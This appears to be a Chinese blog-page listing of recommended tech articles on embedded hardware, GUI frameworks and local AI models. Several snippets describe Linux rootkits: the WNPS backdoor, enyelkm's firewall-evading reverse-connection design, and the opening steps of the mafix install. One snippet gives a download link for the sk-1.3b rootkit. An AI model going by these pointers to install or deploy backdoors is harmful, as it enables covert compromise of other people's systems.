本文详细介绍了如何用不到200元的预算,基于ZYNQ7010 FPGA和AD9363射频芯片打造一台功能完备的开源SDR硬件平台。从核心组件选型、PCB设计到焊接调试,提供全流程实战指南,特别适合预算有限的硬件爱好者和创客群体探索无线通信世界。

weixin_26854829的博客 483

【计算机组成原理实验】状态机实验

理解“状态机”概念,掌握“状态机”思想描述时序系统。通过下列三种基于D触发器的计数器结构,构建状态机的状态转移电路:环形计数器、扭环计数器和条件判断的扭环计数器。基于“状态机”原理,设计一个“交通灯”系统:控制红黄绿信号灯按照以下顺序循环点亮:“绿 黄 红 绿 ……”,红灯、绿灯和黄灯的亮灯持续时间可以通过拨码开关独立设置。红灯和绿灯是持续亮灯模式,黄灯则是闪烁亮灯模式。

Rover_jb的博客 1332

安全焦点::安全工具-wnps-0.26-beta2.tgz

导读:   WNPS是一只工作在Linux 2.6.x平台下的rootkit+backdoor程序。   它的意思是wnps is not poc shell,我的意图在于将它设计成一个可用于实战的linux rootkit。   它最初的想法来自enyelkm,我对作者的开源精神深表感激。   开发平台:   2.6.9-5.EL   +-------------------------

686

手把手教你用STM32的SPI驱动MCP2517FD实现CAN FD通信(附完整代码)

本文详细介绍了如何使用STM32通过SPI驱动MCP2517FD实现CAN FD通信,涵盖硬件连接、SPI驱动编写、寄存器配置及数据收发实战。提供完整代码示例和常见问题排查指南,帮助开发者快速构建高可靠性的CAN FD通信系统,适用于汽车电子和工业控制等领域。

weixin_30607029的博客 676

Linux Rootkit Sample && Rootkit Defenser Analysis

目录 1. 引言 2. LRK5 Rootkit 3. knark Rootkit 3. Suckit(super user control kit) 4. adore-ng 5. WNPS 6. Sample Rootkit for Linux 7. suterusu 8. Rootkit Defense Tools 9. Linux Rootkit Scanner: k...

weixin_30855761的博客 1580

LabVIEW实战:基于DAQmx的实时正弦波生成、采集与波形图动态显示

本文详细介绍了如何使用LabVIEW和DAQmx驱动实现实时正弦波的生成、采集与动态显示。通过USB-6008数据采集卡,结合队列缓冲机制和动态波形图显示技术,构建了一个完整的信号处理系统。文章包含硬件连接、软件配置、任务设置及常见问题排查,适合LabVIEW初学者和硬件控制开发者参考。

weixin_30872337的博客 124

MATLAB配置MinGW编译器的完整指南

本文提供了在Windows系统上为MATLAB配置MinGW编译器的完整指南。详细介绍了通过MATLAB附加功能管理器在线安装和手动离线安装两种核心方法,并重点说明了如何解决常见的“未找到支持的编译器”等错误。指南包含从版本检查、环境变量配置到最终使用mex命令验证的每一步,帮助用户顺利完成MATLAB与MinGW的集成,以支持C/C++代码编译。

weixin_29031057的博客 265

两个linux内核rootkit--之一:enyelkm

首先,这个rootkit其实是一个内核木马,和大多数木马不同的是,恶意木马所在的机器是客户端而不是服务器,而黑客所在的机器是服务器,这样做的好处在于可以躲避防火墙,一般的防火墙对外出的包审查不是那么严格而对进入的包审查严格,如果恶意程序是服务器,那么防火墙很可能会拦截连入服务器的黑客客户端进程导致攻击受到阻碍,现在的情况是黑客所在的机器是服务器,他首先发送召唤包到客户端,客户端收到召唤包以后就会连

TCP/IP 7137

一分钟了解OpenSpec (规格)

OpenSpec是由Fission AI开源的轻量级规范驱动开发(SDD, Spec-Driven Development)CLI工具。它专为AI编程助手(如Cursor、Claude Code)设计,核心是**“先约定,后编码”:在AI写代码前,先通过结构化规范文档达成共识,让开发过程可预测、可审计、可协作**。轻量无侵入:单CLI、无依赖、不改造项目、1分钟接入存量友好:增量Spec、不重构旧文档、1→n王者完全可控:每步审查、AI按图施工、零返工协作利器。

h a 6 6 6 c k 为 你解决复杂难题! 2762

STM32F746移植TouchGFX完整指南:从CubeMX配置到调试避坑

嵌入式GUI开发中,底层图形绘制往往消耗大量精力,而选择合适的图形框架能显著提升开发效率。TouchGFX作为高性能嵌入式GUI框架,其渲染效率和动画效果依赖于硬件基础,尤其需要MCU具备LTDC液晶控制器、外部SDRAM帧缓冲及DMA2D图形加速能力。STM32F746凭借内置LTDC与FMC外部内存接口,成为运行TouchGFX的理想平台。本文从RGB接口屏与MCU屏的差异切入,讲解TouchGFX的工作原理,结合CubeMX配置时钟、FMC-SDRAM、TouchGFX Generator及链接脚本的

weixin_33888907的博客 321

[Godot][入门] 安装与版本选择:3.x 还是 4.x?(按项目类型一键决策)

摘要: Godot引擎版本选择需根据项目需求权衡3.x与4.x。Godot4.x(如4.2)适合3D开发和新项目,支持Vulkan和GDScript2.0,但生态尚不成熟;Godot3.x(如3.5.3)则更适合稳定2D开发、Web导出及依赖现有插件/教程的场景。安装方式极简,官网下载解压即可运行。新手建议:短期高效选3.x,长期探索选4.x,旧项目勿盲目迁移。附版本对比表及决策树,助开发者快速匹配需求。

技术小甜甜:传播可落地技术,帮助个人和企业降低解决真实场景问题的成本 912

AI自动化流程在金融风控中的3个典型案例

AI自动化风控流程全流程自动化:最小化人工干预,实现从数据输入到决策输出的闭环自适应学习:通过持续数据反馈实现模型自动迭代优化实时决策能力:满足毫秒级(支付风控)至分钟级(信贷审批)的响应需求多模态数据融合:整合结构化、非结构化和实时流数据智能决策解释:自动生成符合监管要求的决策解释人机协同机制:在高风险场景下实现AI与人类专家的协同决策实施后关键绩效指标(KPI)变化指标实施前实施后改进幅度平均审批时间3.2天4.7分钟-99.7%自动审批率15%85%+467%

架构师的AI之路,分享AI应用开发架构的学习与实践。 1537

Qwen3.5小型模型全开源:0.8B–9B本地部署实战指南

大语言模型(LLM)的本地化部署正从‘能跑’迈向‘稳快准省’的新阶段。小型模型凭借轻量参数、低资源消耗与高推理效率,成为边缘计算、个人AI工作站及信创环境的核心选择。其技术原理涵盖MoE稀疏激活、YaRN位置编码增强与分块KV缓存等关键优化,显著提升长上下文(256K)处理能力与显存利用率。在工程价值上,它实现了消费级硬件(如RTX 3090、MacBook Pro)上的工业级性能,支持多模态理解、工具调用与思考模式切换。典型应用场景包括本地漫剧脚本生成、SQL自动编写、私有客服系统及ComfyUI工作流集

weixin_30385925的博客 543

计算机控制技术及应用

《计算机控制技术及应用》通过总结作者的科研成果和吸收国内外的先进理论、方法和技术,以计算机控制系统的网络化、开放化、智能化和集成化发展趋势为主线索,主要介绍计算机控制系统的基本概念和计算机控制系统的典型形式,计算机控制系统的数学描述与基本分析方法,以及数字PID控制器、最少拍控制系统、达林算法、状态变量设计法等设计方法及其各种改进算法。重点突出计算机控制系统输入输出通道接口的设计方法和典型控制系统的设计案例与实现方法等。

Cherry Studio 终端接口完整指南:3 条 curl 命令驱动本地模型网关

你想让监控脚本、cron 任务或 CI 管道直接调用 Cherry Studio 里已经配好的那 300+ 个模型,不想再单独申请一套 API Key?它的本地 API Gateway 就是为此而生:桌面端在 `127.0.0.1:23333` 上暴露 OpenAI、Anthropic、Gemini 三种线协议的终端接口,你用 curl 就能驱动。本文带你快速上手、按任务查命令、写一条自动化脚本,

gitblog_00594的博客 708

IDEA的使用指南

IDEA基于java的使用手册,可以最快速的上手,在使用中不断的丰富自己的使用技巧.

温度PID控制PLC程序

温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值

GPT-5 nano实战指南:边缘AI部署、性能调优与嵌入式应用

大语言模型(LLM)正从云端走向终端,轻量化推理成为IoT、工业控制和智能硬件落地的关键。GPT-5 nano并非简单压缩版,而是基于结构重裁、KV缓存压缩(如SquashKV算法)与领域重训练的专用边缘模型,具备低延迟(<200ms P95)、小内存(1.2GB ARM64)和高确定性等技术特性。其核心价值在于将大模型能力深度耦合至嵌入式系统——支持ARMv8.6 BF16指令集、SGX+TDX安全沙箱,并在FreeRTOS、BLE协议栈、C语法纠错等垂直任务上超越通用开源模型。适用于语音助手、实时代码生

487

IEM模型,地表粗糙度模拟

利用微波反演土壤水分时候,利用IEM模型可以实现对随机地表的模拟

Claude Opus 4.8静音机制:动态推理控制与Prompt语义静音

大语言模型的‘过度推理’是影响响应效率与用户体验的核心瓶颈,其本质源于传统推理控制缺乏上下文感知与用户意图建模。Opus 4.8通过引入动态‘思考预算’机制,将静音从粗暴截断升级为分层调控——基于指令明确度、上下文压力和用户反馈三重信号实时校准推理深度。该机制深度耦合system prompt中的指令性动词(如‘仅返回’‘勿解释’)与上下文锚点(如{{MODE:CODE_ONLY}}),使Prompt不再只是角色设定,而成为可编程的静音开关。技术价值体现在token成本降低80%+、响应提速70%以上,广泛

注重长远 天天积累 cqujsjcyj 506

全球AI贡献梯队解析!!!!:完整实战指南与核心要点精讲

全球AI贡献梯队解析!!!!:完整实战指南与核心要点精讲——深度解析与实战指南。

热爱技术与前沿创新,深耕科技领域,在科创中精进自我;探索技术乐趣,分享技术干货与成长心得,以技术为伴,热爱生活,在科创与生活中双向成长。 1135

sk-1.3b.tar.gz

http://www.xfocus.net/tools/200408/sk-1.3b.tar.gz

陈巍@人生态度 1016

Rootkit之mafix配置方法

Linux后门程序mafix,安装配置方法如下: [root@yinyong home]# tar zxvf mafix.tar.gz  [root@yinyong home]# ls  db_20130113.dmp  jdk1.5.0_13  mafix  mafix.tar.gz  oracle  tomcat  [root@yinyong home]# cd mafix  [root@y

主人,番茄要加鸡蛋 2880
上一篇: 为什么黑洞远程控制的屏幕传输比Radmin快
下一篇: win2003命令行下IP安全策略学习笔记
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值